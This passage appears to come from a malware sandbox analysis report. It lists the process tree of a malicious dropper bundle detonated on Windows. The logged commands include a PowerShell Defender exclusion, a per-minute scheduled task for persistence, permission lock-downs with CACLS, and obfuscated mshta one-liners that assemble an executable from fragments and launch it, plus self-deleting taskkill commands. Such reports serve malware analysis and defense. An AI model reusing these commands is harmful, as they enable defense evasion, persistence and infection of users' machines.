        "C:\Windows\System32\control.exe" "C:\Users\Admin\AppData\Local\Temp\ZNQEN.CPL",
        8⤵
        
        PID:3544
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\ZNQEN.CPL",
        9⤵
        
        PID:5812
        
        C:\Windows\system32\RunDll32.exe
        
        C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\ZNQEN.CPL",
        10⤵
        
        PID:5780
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 "C:\Users\Admin\AppData\Local\Temp\ZNQEN.CPL",
        11⤵
        
        PID:5544
        
        C:\Users\Admin\Pictures\Adobe Films\cymO9xoMjeOAMBd1l9CujQjc.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\cymO9xoMjeOAMBd1l9CujQjc.exe"
        7⤵
        
        PID:5772
        
        C:\Users\Admin\AppData\Local\Temp\is-9CHQC.tmp\cymO9xoMjeOAMBd1l9CujQjc.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-9CHQC.tmp\cymO9xoMjeOAMBd1l9CujQjc.tmp" /SL5="$3026A,1518240,54272,C:\Users\Admin\Pictures\Adobe Films\cymO9xoMjeOAMBd1l9CujQjc.exe"
        8⤵
        
        PID:6016
        
        C:\Users\Admin\Pictures\Adobe Films\qRJ_RDM9oYRckKOCOT34CCQx.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\qRJ_RDM9oYRckKOCOT34CCQx.exe"
        7⤵
        
        PID:5876
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        8⤵
        
        PID:3504
        
        C:\Users\Admin\Pictures\Adobe Films\6ZgnTFeK5kiVRmqfs3JlUajz.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\6ZgnTFeK5kiVRmqfs3JlUajz.exe"
        7⤵
        
        PID:5176
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
        8⤵
        
        PID:1192
        
        C:\Users\Admin\Pictures\Adobe Films\qMrhkBIK1AGWmW2u88WHSByn.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\qMrhkBIK1AGWmW2u88WHSByn.exe"
        7⤵
        
        PID:3860
        
        C:\Users\Admin\AppData\Local\Temp\is-UUEFN.tmp\qMrhkBIK1AGWmW2u88WHSByn.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-UUEFN.tmp\qMrhkBIK1AGWmW2u88WHSByn.tmp" /SL5="$40286,506127,422400,C:\Users\Admin\Pictures\Adobe Films\qMrhkBIK1AGWmW2u88WHSByn.exe"
        8⤵
        
        PID:5416
        
        C:\Users\Admin\AppData\Local\Temp\is-K2OT5.tmp\sasa.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-K2OT5.tmp\sasa.exe" /S /UID=95
        9⤵
        
        PID:2440
        
        C:\Users\Admin\AppData\Local\Temp\42-9fd85-d2e-23c93-b47d4f0fffedd\Hokewazhoxy.exe
        
        "C:\Users\Admin\AppData\Local\Temp\42-9fd85-d2e-23c93-b47d4f0fffedd\Hokewazhoxy.exe"
        10⤵
        
        PID:5676
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\eegbymal.leg\GcleanerEU.exe /eufive & exit
        11⤵
        
        PID:6192
        
        C:\Users\Admin\AppData\Local\Temp\eegbymal.leg\GcleanerEU.exe
        
        C:\Users\Admin\AppData\Local\Temp\eegbymal.leg\GcleanerEU.exe /eufive
        12⤵
        
        PID:6980
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xiu1i23c.3ua\gcleaner.exe /mixfive & exit
        11⤵
        
        PID:6876
        
        C:\Users\Admin\AppData\Local\Temp\xiu1i23c.3ua\gcleaner.exe
        
        C:\Users\Admin\AppData\Local\Temp\xiu1i23c.3ua\gcleaner.exe /mixfive
        12⤵
        
        PID:1360
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\q54qrcrn.vyv\chenp.exe & exit
        11⤵
        
        PID:2668
        
        C:\Users\Admin\AppData\Local\Temp\q54qrcrn.vyv\chenp.exe
        
        C:\Users\Admin\AppData\Local\Temp\q54qrcrn.vyv\chenp.exe
        12⤵
        
        PID:6884
        
        C:\Users\Admin\AppData\Local\Temp\c4-87ee1-ebb-c528d-8871ca607ff72\Jofysaexaelu.exe
        
        "C:\Users\Admin\AppData\Local\Temp\c4-87ee1-ebb-c528d-8871ca607ff72\Jofysaexaelu.exe"
        10⤵
        
        PID:5492
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
        11⤵
        
        PID:2880
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffb9d6646f8,0x7ffb9d664708,0x7ffb9d664718
        12⤵
        
        PID:6964
        
        C:\Program Files\Java\CVJFVKYFFV\poweroff.exe
        
        "C:\Program Files\Java\CVJFVKYFFV\poweroff.exe" /VERYSILENT
        10⤵
        
        PID:1540
        
        C:\Users\Admin\AppData\Local\Temp\is-O487Q.tmp\poweroff.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-O487Q.tmp\poweroff.tmp" /SL5="$10346,490199,350720,C:\Program Files\Java\CVJFVKYFFV\poweroff.exe" /VERYSILENT
        11⤵
        
        PID:1236
        
        C:\Program Files (x86)\powerOff\Power Off.exe
        
        "C:\Program Files (x86)\powerOff\Power Off.exe" -silent -desktopShortcut -programMenu
        12⤵
        
        PID:5324
    - - C:\Users\Admin\Pictures\Adobe Films\frT5Vug3mJneGkncFpJ9O8WO.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\frT5Vug3mJneGkncFpJ9O8WO.exe"
        5⤵
        
        PID:5532
      - C:\Users\Admin\AppData\Local\Temp\5eb6b96734\nbveek.exe
        
        "C:\Users\Admin\AppData\Local\Temp\5eb6b96734\nbveek.exe"
        6⤵
        
        PID:6064
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\Admin\AppData\Local\Temp\5eb6b96734\nbveek.exe" /F
        7⤵
        Creates scheduled task(s)
        
        PID:4560
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "nbveek.exe" /P "Admin:N"&&CACLS "nbveek.exe" /P "Admin:R" /E&&echo Y|CACLS "..\5eb6b96734" /P "Admin:N"&&CACLS "..\5eb6b96734" /P "Admin:R" /E&&Exit
        7⤵
        
        PID:4280
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        8⤵
        
        PID:5396
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "nbveek.exe" /P "Admin:N"
        8⤵
        
        PID:5264
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "nbveek.exe" /P "Admin:R" /E
        8⤵
        
        PID:5624
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        8⤵
        
        PID:4308
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\5eb6b96734" /P "Admin:N"
        8⤵
        
        PID:5576
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\5eb6b96734" /P "Admin:R" /E
        8⤵
        
        PID:5460
        
        C:\Users\Admin\AppData\Local\Temp\1000001051\puls.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000001051\puls.exe"
        7⤵
        
        PID:5584
        
        C:\Users\Admin\AppData\Local\Temp\5eb6b96734\nbveek.exe
        
        "C:\Users\Admin\AppData\Local\Temp\5eb6b96734\nbveek.exe"
        7⤵
        
        PID:4316
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=nbveek.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
        8⤵
        
        PID:5872
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffb9d6646f8,0x7ffb9d664708,0x7ffb9d664718
        9⤵
        
        PID:5336
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2216,10496602065048715685,8705698106965223458,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2276 /prefetch:3
        9⤵
        
        PID:6200
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2216,10496602065048715685,8705698106965223458,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2224 /prefetch:2
        9⤵
        
        PID:6168
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2216,10496602065048715685,8705698106965223458,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2796 /prefetch:8
        9⤵
        
        PID:6308
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2216,10496602065048715685,8705698106965223458,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3324 /prefetch:1
        9⤵
        
        PID:6560
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2216,10496602065048715685,8705698106965223458,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3336 /prefetch:1
        9⤵
        
        PID:6620
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2216,10496602065048715685,8705698106965223458,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4552 /prefetch:1
        9⤵
        
        PID:7112
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2216,10496602065048715685,8705698106965223458,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4704 /prefetch:8
        9⤵
        
        PID:7136
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2216,10496602065048715685,8705698106965223458,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5672 /prefetch:1
        9⤵
        
        PID:4256
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2216,10496602065048715685,8705698106965223458,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5680 /prefetch:1
        9⤵
        
        PID:6012
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2216,10496602065048715685,8705698106965223458,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5996 /prefetch:1
        9⤵
        
        PID:6464
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2216,10496602065048715685,8705698106965223458,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6028 /prefetch:1
        9⤵
        
        PID:6352
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=nbveek.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
        8⤵
        
        PID:6780
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffb9d6646f8,0x7ffb9d664708,0x7ffb9d664718
        9⤵
        
        PID:6884
        
        C:\Users\Admin\AppData\Local\Temp\1000003051\brost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000003051\brost.exe"
        7⤵
        
        PID:1820
        
        C:\Users\Admin\AppData\Local\Temp\5eb6b96734\nbveek.exe
        
        "C:\Users\Admin\AppData\Local\Temp\5eb6b96734\nbveek.exe"
        7⤵
        
        PID:5652
        
        C:\Users\Admin\AppData\Local\Temp\5eb6b96734\nbveek.exe
        
        "C:\Users\Admin\AppData\Local\Temp\5eb6b96734\nbveek.exe"
        7⤵
        
        PID:4084
        
        C:\Users\Admin\AppData\Local\Temp\1000005001\brown.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000005001\brown.exe"
        7⤵
        
        PID:2580
        
        C:\Users\Admin\AppData\Local\Temp\1000006001\brown1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000006001\brown1.exe"
        7⤵
        
        PID:6232
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        8⤵
        
        PID:6760
        
        C:\Users\Admin\AppData\Local\Temp\5eb6b96734\nbveek.exe
        
        "C:\Users\Admin\AppData\Local\Temp\5eb6b96734\nbveek.exe"
        7⤵
        
        PID:6528
        
        C:\Users\Admin\AppData\Local\Temp\5eb6b96734\nbveek.exe
        
        "C:\Users\Admin\AppData\Local\Temp\5eb6b96734\nbveek.exe"
        7⤵
        
        PID:6916
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        8⤵
        
        PID:6348
        
        C:\Users\Admin\AppData\Local\Temp\1000013001\live.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000013001\live.exe"
        7⤵
        
        PID:636
        
        C:\Users\Admin\AppData\Local\Temp\5eb6b96734\nbveek.exe
        
        "C:\Users\Admin\AppData\Local\Temp\5eb6b96734\nbveek.exe"
        7⤵
        
        PID:3840
    - - C:\Users\Admin\Pictures\Adobe Films\2c3a76G91bP76kXGYQBQn0Ed.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\2c3a76G91bP76kXGYQBQn0Ed.exe"
        5⤵
        
        PID:5540
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        6⤵
        
        PID:2440
    - - C:\Users\Admin\Pictures\Adobe Films\YoL8gIXETPgohwHskQEwjmdt.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\YoL8gIXETPgohwHskQEwjmdt.exe"
        5⤵
        
        PID:5508
      - C:\Users\Admin\Pictures\Adobe Films\YoL8gIXETPgohwHskQEwjmdt.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\YoL8gIXETPgohwHskQEwjmdt.exe"
        6⤵
        
        PID:5100
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Sat053bd2e87da.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1540
  - - C:\Users\Admin\AppData\Local\Temp\7zS833323C6\Sat053bd2e87da.exe
      Sat053bd2e87da.exe
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:4548
    - - C:\Users\Admin\AppData\Local\Temp\7zS833323C6\Sat053bd2e87da.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS833323C6\Sat053bd2e87da.exe
        5⤵
        Executes dropped EXE
        
        PID:3868
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Sat05786a45dda23f71f.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2000
  - - C:\Users\Admin\AppData\Local\Temp\7zS833323C6\Sat05786a45dda23f71f.exe
      Sat05786a45dda23f71f.exe
      4⤵
      Executes dropped EXE
      PID:3428
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Sat0556e72238ef5897.exe /mixone
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4604
  - - C:\Users\Admin\AppData\Local\Temp\7zS833323C6\Sat0556e72238ef5897.exe
      Sat0556e72238ef5897.exe /mixone
      4⤵
      Executes dropped EXE
      PID:3720
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3720 -s 620
        5⤵
        Program crash
        
        PID:2300
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3720 -s 656
        5⤵
        Program crash
        
        PID:864
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3720 -s 748
        5⤵
        Program crash
        
        PID:4392
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3720 -s 776
        5⤵
        Program crash
        
        PID:2428
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3720 -s 832
        5⤵
        Program crash
        
        PID:1392
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3720 -s 860
        5⤵
        Program crash
        
        PID:4020
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3720 -s 1048
        5⤵
        Program crash
        
        PID:4892
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3720 -s 1056
        5⤵
        Program crash
        
        PID:4932
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3720 -s 1288
        5⤵
        Program crash
        
        PID:4768
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3720 -s 1528
        5⤵
        Program crash
        
        PID:4292
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{Pokb-QjV6j-OZsA-O4qMp}\87526386507.exe"
        5⤵
        
        PID:4212
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{Pokb-QjV6j-OZsA-O4qMp}\70917034223.exe" /mix
        5⤵
        
        PID:5036
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{Pokb-QjV6j-OZsA-O4qMp}\87162344806.exe" /mix
        5⤵
        
        PID:3788
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3720 -s 1940
        5⤵
        Program crash
        
        PID:2604
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /I "" "C:\ProgramData\Garbage Cleaner\Garbage Cleaner.exe"
        5⤵
        
        PID:3748
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "Sat0556e72238ef5897.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS833323C6\Sat0556e72238ef5897.exe" & exit
        5⤵
        
        PID:4080
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "Sat0556e72238ef5897.exe" /f
        6⤵
        Loads dropped DLL
        Kills process with taskkill
        
        PID:1912
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3720 -s 872
        5⤵
        Program crash
        
        PID:1392
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Sat056c52386ee94b16c.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2028
  - - C:\Users\Admin\AppData\Local\Temp\7zS833323C6\Sat056c52386ee94b16c.exe
      Sat056c52386ee94b16c.exe
      4⤵
      Executes dropped EXE
      Checks SCSI registry key(s)
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      PID:312
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Sat05a28e92796e93d.exe
    3⤵
    PID:1684
  - - C:\Users\Admin\AppData\Local\Temp\7zS833323C6\Sat05a28e92796e93d.exe
      Sat05a28e92796e93d.exe
      4⤵
      Executes dropped EXE
      PID:2200
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Sat05d374c30e.exe
    3⤵
    PID:4636
  - - C:\Users\Admin\AppData\Local\Temp\7zS833323C6\Sat05d374c30e.exe
      Sat05d374c30e.exe
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:1596
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Sat0546bbc15e4.exe
    3⤵
    PID:3876
  - - C:\Users\Admin\AppData\Local\Temp\7zS833323C6\Sat0546bbc15e4.exe
      Sat0546bbc15e4.exe
      4⤵
      Executes dropped EXE
      Checks computer location settings
      PID:776
    - - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbSCRiPt: cloSe(cReATEOBJecT ("WScRIPt.SHelL" ).RUn ("C:\Windows\system32\cmd.exe /c copY /Y ""C:\Users\Admin\AppData\Local\Temp\7zS833323C6\Sat0546bbc15e4.exe"" SkVPVS3t6Y8W.EXe && STart SkVPVs3t6Y8W.exE /phmOv~geMVZhd~P51OGqJQYYUK & iF """" == """" for %U In ( ""C:\Users\Admin\AppData\Local\Temp\7zS833323C6\Sat0546bbc15e4.exe"" ) do taskkill -F -Im ""%~nXU"" ", 0, trUE) )
        5⤵
        Checks computer location settings
        
        PID:3676
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c copY /Y "C:\Users\Admin\AppData\Local\Temp\7zS833323C6\Sat0546bbc15e4.exe" SkVPVS3t6Y8W.EXe &&STart SkVPVs3t6Y8W.exE /phmOv~geMVZhd~P51OGqJQYYUK & iF ""== "" for %U In ( "C:\Users\Admin\AppData\Local\Temp\7zS833323C6\Sat0546bbc15e4.exe" ) do taskkill -F -Im "%~nXU"
        6⤵
        
        PID:2592
        
        C:\Users\Admin\AppData\Local\Temp\SkVPVS3t6Y8W.EXe
        
        SkVPVs3t6Y8W.exE /phmOv~geMVZhd~P51OGqJQYYUK
        7⤵
        Executes dropped EXE
        Checks computer location settings
        
        PID:4768
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbSCRiPt: cloSe(cReATEOBJecT ("WScRIPt.SHelL" ).RUn ("C:\Windows\system32\cmd.exe /c copY /Y ""C:\Users\Admin\AppData\Local\Temp\SkVPVS3t6Y8W.EXe"" SkVPVS3t6Y8W.EXe && STart SkVPVs3t6Y8W.exE /phmOv~geMVZhd~P51OGqJQYYUK & iF ""/phmOv~geMVZhd~P51OGqJQYYUK "" == """" for %U In ( ""C:\Users\Admin\AppData\Local\Temp\SkVPVS3t6Y8W.EXe"" ) do taskkill -F -Im ""%~nXU"" ", 0, trUE) )
        8⤵
        Checks computer location settings
        
        PID:4276
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c copY /Y "C:\Users\Admin\AppData\Local\Temp\SkVPVS3t6Y8W.EXe" SkVPVS3t6Y8W.EXe &&STart SkVPVs3t6Y8W.exE /phmOv~geMVZhd~P51OGqJQYYUK & iF "/phmOv~geMVZhd~P51OGqJQYYUK "== "" for %U In ( "C:\Users\Admin\AppData\Local\Temp\SkVPVS3t6Y8W.EXe" ) do taskkill -F -Im "%~nXU"
        9⤵
        
        PID:3240
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vBsCRipT:CloSE ( CReaTEoBJEct ( "WSCRIPT.SHElL" ). rUn("cMd /q /C eCHo | SET /P = ""MZ"" > yW7bB.DeE &COpy /Y /b YW7bB.DEe + YLRXm6O.QZ + 3UII17.UI + EZZS.MDf + Uts09Z.AiZ + JNYESn.Co FUEJ5.QM & StARt control .\FUEj5.QM " , 0 , tRuE ) )
        8⤵
        Checks computer location settings
        
        PID:2204
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q /C eCHo | SET /P = "MZ" > yW7bB.DeE &COpy /Y /b YW7bB.DEe + YLRXm6O.QZ+ 3UII17.UI + EZZS.MDf + Uts09Z.AiZ + JNYESn.Co FUEJ5.QM& StARt control .\FUEj5.QM
        9⤵
        
        PID:1152
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" eCHo "
        10⤵
        
        PID:4372
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>yW7bB.DeE"
        10⤵
        
        PID:4928
        
        C:\Windows\SysWOW64\control.exe
